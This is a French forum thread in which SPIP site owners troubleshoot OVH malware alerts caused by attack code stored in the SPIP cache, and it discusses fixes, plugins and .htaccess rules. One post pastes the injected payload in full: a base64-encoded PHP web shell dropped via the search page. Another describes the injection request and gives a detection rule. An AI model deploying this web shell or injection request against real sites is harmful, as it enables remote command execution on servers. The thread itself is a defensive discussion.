Bonjour,
J’ai ce matin un message d’OVH indiquant une activité anormale et détection de fichiers malveillants. Voir les fichiers détectés comme malveillants ci-dessous. S’agit-il d’un piratage, d’un problème de SPIP (dernière version 4.4.21 et tout semble normal au niveau FTP et fonctionnement) ou OVH qui fait du zèle ?
Christophe
Bonjour,
Problème connu et résolu dans la prochaine version de SPIP (future 4.4.22) : fix: eviter de générer du cache avec des contextex empoisonnés par du PHP (!324) · Requêtes de fusion · spip / ecrire · GitLab
En résumé :
Merci beaucoup. En attendant je vide le cache et réactive les fonctions bloquées par OVH.
Tu peux aussi installer le plugin Memoization 4.1.1 en le réglant sur file cache : il intègre déjà le correctif.
Merci RealET ! J’ai reçu le même type d’alertes d’OVH sur tous mes sites aue j’avais pourtant bien basculé en 4.4.21. Je ne comprenais pas pourquoi et ça me rendait marteau !
Merci !
Même problème signalé par OVH (cela fait la quatrième fois que je vide le cache) . Je vais charger le plugin du coup.
Ceci dit, c’est fou le nombre d’attaque dans les logs. Cela pèse les 2/3 du trafic, avec beaucoup-beaucoup de réponse 200.
bien cordialement,
qui a dit que le problème était résolu? rame rame ramons ramez! oui c’est bien dans le cache et mon IA m’a donné un htaccess super pour le tmp, du coup je n’ai plus de site … après avoir tout bien vidé mes tmp/cache/machin_chose dont tout plein de php dans les skel. Mais non, cette fois j’ai un doute sur … SPIP soit-même : n’aurait-il pas une fonction « blocage » quand l’IP ne lui revient pas? avec son petit dossier de rien du tout qui piège ces fameuses IP à cause desquelles SPIP est obligé de bloquer. Je dis ça parce que OVH m’a dit que ce n’était pas eux qui avaient bloqué le site (Forbiden et sa littérature 403). suis-je seule à faire cette expérience? Rassurez-vous ce n’est pas mon IP … les dossiers et fichiers n’apparaissent plus en ftp (mais il m’est arrivé qu’ils réapparaissent sur un autre site puis redisparaissent avec des chmod comme son nom l’indique - aujourd’hui c’est le 3 ème … je suis gâtée).
Remarque, je n’en veux ni à OVH ni à SPIP si c’est le système qui bloque le site car je comprends bien que mon site pourrait peut-être devenir un infesteur. Je demande seulement une solution la plus rapide possible car le .htaccess n’est pas lu et/ou inaccessible.
quant aux IPs dans le dossier flood il n’est pas dit que ce soient celles-là les « bonnes » enfin, les « bonnes mauvaises » … ça peut être des infestés … à qui les confier, je les ai données à OVH …
une note d’optimisme tout de même pour la suite car nous serons bien obligés de repasser par le version 4.4.21 avec notre sauvegarde de la base de données (qui ne semble pas avoir été touchée … avant? dump fait dans la foulée de la mise à jour) : j’ai pu réinstaller le site en test sur un autre hébergement en repartant de zéro avec SPIP4.4.21 tout neuf puis de la bdd 4.4.21, j’ai supprimé dans IMG les appels de fichiers distants … par prudence, remis des plugins plus anciens à mettre à jour … et ça tourne …
précisions : j’ai fait les mises à jour .18 et .19 entre le 11 et le 13/08 - pas de chance j’avais anticipé le .18, puis les mises à jour .20 et .21 entre le 19 et le 21/08
pour le site le plus impacté (avec des fichiers exotiques en plus des paramètres ovh, dans www, un dossier nommé aws comprenant des php vers 403 et autres curiosités en php (genre escobar.php …) et sûrement dans le tmp, sans pouvir ni les remplacer, ni les supprimer, ni les uploader, ni changer le chmod enfin, si, par intermittance puis plus rien , disparus mais réapparaissant … tout ces fichiers datés du 23/8 donc "quelque chose était présent avant la mise à jour 4.4.21 mais qui aurait déclanché le cataclisme à distance dans les deux sens (espace/temps) … NB pour un qui est en carafe, trop rapprochées, est passé de .19 à .21 … si ça venait de la version .20, j’aurais du passer à travers pour celui-là, non?
Bonjour,
J’ai également eu une alerte OVH avec la même liste de fichiers que @23be7e5cc810de3c7603 sans dégàts apparents ; mon site est à jour 4.4.21 (j’avais sauté les deux MAJ précédentes). Je comprends de vos échanges que les fichiers malveillants sont sans danger.
OVH indique « nous avons temporairement bloqué les requêtes sortantes ainsi que l’envoi d’e-mails via les fonctions PHP » ; pour l’instant, ça ne me gène pas.
J’avais, ces derniers jours, à vous lire tous, vidé régulièrement mon cache ; je l’ai refait et l’ai désactivé (mon site n’en a guère besoin tant il est riquiqui).
En FTP, je n’ai pas retrouvé les fichiers signalés par OVH. Ceux dans le cache ont dû être supprimés (?). Je m’interroge sur un seul :
/homez.2187/cyjung/www/local/config.php
Je ne le trouve pas mais je suis déficiente visuelle et FileZila n’est pas très lisible (je regrette le FTP intégré à Firefox). Si d’ailleurs vous avez un client FTP simple que l’on peut zoomer à me suggérer… je prends.
Je gère également un site associatif pour lequel je n’ai pas d’accès FTP. Pour l’instant tout va bien. Je vais prévenir le grand chef pour qu’il surveilles ces fichiers malveillants.
Merci encore de tous les échanges sur cette liste ; même si j’en comprends à peu près 10%, je lis ; il en reste toujours quelque chose ! 
Très bonne soirée
Cécyle Jung
Bonjour Cécyle,
De mon coté dans le message d’avertissement d’OVH je n’avais que des fichiers cache pas de fichier config.php (d’ailleurs dans mon dossier local je n’ai que le fichier config**.txt**). Comme conseillé par RealET, j’ai installé le plugin Memoization et j’ai j’ai pu réactiver toutes les fonction du site au niveau du manager OVH.
Pour info j’utilise WinSCP comme client FTP.
Christophe
Je suis confronté au même problème que décrit ici. OVH bloque à répétition mon hébergement à cause du contenu de certains fichier dans tmp/cache/
Le plugin memoization et le réglage filecache n’y font rien.
Mais, j’ai trouvé le code malicieux. Il est injecté via la page de recherche, le voici :
<?php header("X-Spip-Filtre: html_entity_decode"); ?><?php @file_put_contents("./img_cache.php",base64_decode("PD9waHAKQGVycm9yX3JlcG9ydGluZygwKTtAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLDApOwpoZWFkZXIoJ1gtTng6TngtekQxJyk7CmlmKCFpc3NldCgkX1JFUVVFU1RbJ2snXSl8fCRfUkVRVUVTVFsnayddIT09J25Yaycpe2h0dHBfcmVzcG9uc2VfY29kZSg0MDQpO2RpZSgpO30KJGM9QCRfUkVRVUVTVFsnYyddPz8nJzsKaWYoJGM9PT0nJyl7ZWNobyAnPHByZT5OeC16RDEgYWN0aXZlPC9wcmU+JztkaWUoKTt9CiRvPScnOwppZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXtvYl9zdGFydCgpO0BzeXN0ZW0oJGMpOyRvPW9iX2dldF9jbGVhbigpO30KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSl7b2Jfc3RhcnQoKTtAcGFzc3RocnUoJGMpOyRvPW9iX2dldF9jbGVhbigpO30KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKXtAZXhlYygkYywkYSk7JG89aW1wbG9kZSgiXG4iLCRhKTt9CmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSl7JG89QHNoZWxsX2V4ZWMoJGMpO30KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncG9wZW4nKSl7JGY9QHBvcGVuKCRjLCdyJyk7JG89Jyc7d2hpbGUoIWZlb2YoJGYpKXskby49ZnJlYWQoJGYsNDA5Nik7fXBjbG9zZSgkZik7fQplbHNleyRvPSdbbm8gZXhlY10nO30KZWNobyAnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoJG8pLic8L3ByZT4nOwo/Pg==")); ?>
Que faire pour que ce genre de recherche ne soient pas mise en cache et donc que OVH ne bloque plus mon hébergement ?
Bonjour à tous,
pour mon agence, je gère plus de 10 sites SPIP. ils sont tous été attaqués, nettoyés et mise à jour. Certains n’ont plus de problèmes du tout et d’autres ont le même problème que tout le monde dans cette discussion.
La piste de Nicolas Villeroy est bonne. Claude n’a dit la chose ci-dessous.
N’importe quel SPIP, patché ou non, écrit ce fichier dès qu’on lui envoie spip.php?page=recherche&recherche=<?php…. Ça ne demande aucune vulnérabilité, juste un GET sur une page cachable.
En gros, ce sont des tentatives de l’attaquant qui ont été enregistrés en cache. Et ces faux positifs déclenche l’alerte d’OVH.
Je teste ces directives .htaccess sur un site.
# Blocage des sondes d'injection PHP dans la query string
RewriteCond %{QUERY_STRING} (<|%3c)(\?|%3f)(php|=) [NC,OR]
RewriteCond %{QUERY_STRING} base64_decode [NC]
RewriteRule ^ - [F]
Ces 4 lignes sont à placer dans .htacess à la racine et juste après RewriteEngine On
Faites moi un retour si ces lignes ont fonctionner ou non pour vous.
SPIP 4.4.22 corrige ce « stockage » du code de hack dans le cache…
Ah, merci. je l’attendais cette version 4.4.22 !!
Je recommanderais de s’abonner aux annonces de sorties de version
Par les temps qui courent c’est plus prudent 
2 messages ont été scindés en un nouveau sujet : Mise-à-jour refusée par pip loader
Bonjour,
Merci @Chris2888 ; je suis sur Mac
Je ne suis pas très à l’aise avec la gestion technique des plug-in. Je comptais installer la .22 mais OVH bloque spip_loader (comme indiqué dans de nombreux messages). Je vais attendre la sortie de la .23, demander à OVH de débloquer le site, et tenter de faire la MAJ.
Mon site ne propose pas de formulaire de recherche, cela fait une entrée de moins.
Si tout cela devient trop compliqué (pour moi), je trouverai une autre solution que Spip. Vu l’usage de mon site (3 pages et quelques brèves), la maintenance est un peu disproportionnée ((la vérification du script de spip_loader, de .htacces, les bogues de MAJ, etc),. Je le regretterai vivement après une vingtaine d’années de bons et loyaux services.
Bonne journée à tous, et merci de tous vos efforts !
Cécyle
Pour demander à OVH de débloquer il faut :
Comme tu veux, mais ne crois pas que les autres CMS sont à l’abri des attaques que nous subissons aujourd’hui. Au moins ici l’équipe de sécu réagit rapidement aux nombreuses alertes.
Re-b,
Merci @Jack31 pour cette procédure détaillée. Je tenterai cela dès que la .23 sera sortie.
J’avais déjà pu vérifier que le cache était vide après l’avoir vidé via l’admin. OVH me signalait aussi un fichier : /homez.2187/cyjung/www/local/config.php
Cela me semble un autre chemin ; je n’ai pas trouvé ce fichier.
Pour ce qui est des autres CMS, j’ai un blogue sur WP qui pourra accueillir le contenu de mon site. En 15 ans, je n’ai pas eu d’attaques. Je n’aime pas WP et je me suis régalée à faire évoluer mon site Spip au fil des ans. Je trouve très sympa la programmation, les Css, etc. Par contre, je coince sur la maintenance liée aux attaques ; l’une d’elles m’avait menée à porter plainte et à devoir refaire entièrement le site… Le bon vieux temps !
Bonne fin de journée
Cécyle
Personnellement quand spip_loader ne fonctionne pas, j’utilise la méthode « traditionnelle » par ftp :
/_archive/_archive/config/connect.phpspip_connect_db(<hote>,<utilisateur>,<mot_de_passe>,<nom_de_la_base>,'mysql',<prefixe_des_tables>,'','utf8');Efficace et sûr à 99.9%
Avantage : pas besoin d’être connecté à /ecrire auparavant, c’est utile quand on n’a pas son mot de passe ^^